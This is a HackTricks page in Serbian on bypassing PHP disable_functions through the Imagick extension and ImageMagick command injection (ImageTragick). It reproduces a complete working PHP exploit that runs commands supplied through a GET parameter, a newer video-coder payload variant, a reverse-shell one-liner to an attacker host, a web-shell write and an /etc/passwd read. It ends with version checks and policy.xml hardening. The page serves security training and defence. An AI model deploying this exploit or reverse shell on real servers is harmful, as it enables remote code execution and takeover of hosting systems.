Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Poznata ImageTragick porodica grešaka (CVE-2016-3714 i dr.) omogućava napadaču da dođe do osnovnog ImageMagick binarnog fajla putem kreiranog MVG/SVG ulaza. Kada je PHP ekstenzija Imagick prisutna, ovo se može zloupotrebiti za izvršavanje shell komandi čak i ako su sve funkcije orijentisane na izvršavanje PHP-a stavljene na crnu listu sa
disable_functions
.Originalni PoC koji je objavio RicterZ (Chaitin Security Research Lab) u maju 2016. godine je reprodukovan u nastavku. Tehnika se i dalje redovno susreće tokom savremenih PHP 7/8 revizija jer mnogi provajderi deljenog hostinga jednostavno kompajliraju PHP bez
exec
/system
, ali zadržavaju zastareli Imagick + ImageMagick kombinaciju.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
Zašto to funkcioniše?
Imagick::readImage()
transparentno pokreće ImageMagick delegat (convert
/magick
) binarni fajl.- MVG skripta postavlja fill na eksternu URI. Kada se ubaci dvostruki navodnik (
"
), ostatak linije se interpretira od strane/bin/sh ‑c
koji ImageMagick koristi interno → proizvoljna izvršavanje shelle. - Sve se dešava van PHP interpreter-a, stoga su
disable_functions
, open_basedir,safe_mode
(uklonjen u PHP 5.4) i slična ograničenja u procesu potpuno zaobiđena.
Status 2025 – još uvek relevantno
- Svaka verzija Imagick-a koja se oslanja na ranjivi ImageMagick backend ostaje eksploatabilna. U laboratorijskim testovima isti payload funkcioniše na PHP 8.3 sa Imagick 3.7.0 i ImageMagick 7.1.0-51 kompajliran bez ojačanog
policy.xml
. - Od 2020. godine pronađeno je nekoliko dodatnih vektora za injekciju komandi (
video:pixel-format
,ps:
,text:
kodere…). Dva nedavna javna primera su: - CVE-2020-29599 – injekcija shelle putem text: kodera.
- GitHub issue #6338 (2023) – injekcija u video: delegatu.
Ako operativni sistem isporučuje ImageMagick < 7.1.1-11 (ili 6.x < 6.9.12-73) bez restriktivnog policy fajla, eksploatacija je jednostavna.
Moderni varijante payload-a
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
Drugi korisni primitivni alati tokom CTF-ova / stvarnih angažmana:
- Pisanje fajla –
... > /var/www/html/shell.php
(pisanje web-shela van open_basedir) - Obrnuta ljuska –
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
- Enumeracija –
id; uname -a; cat /etc/passwd
Brza detekcija i enumeracija
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
Ako izlaz pokazuje da su MVG
ili URL
kodiri omogućeni, cilj je verovatno podložan eksploataciji.
Mogućnosti ublažavanja
- Patch/Upgrade – Koristite ImageMagick ≥ 7.1.1-11 (ili najnoviju 6.x LTS) i Imagick ≥ 3.7.2.
- Ojačajte
policy.xml
– eksplicitno onemogućite kodire visokog rizika:
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
- Uklonite ekstenziju na nepouzdanim hosting okruženjima. U većini web stackova
GD
iliImagick
nije strogo neophodan. - Tretirajte
disable_functions
samo kao odbranu u dubini – nikada kao primarni mehanizam za peskovanje.
Reference
- GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)
- CVE-2020-29599 – ImageMagick shell injection via text: coder
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.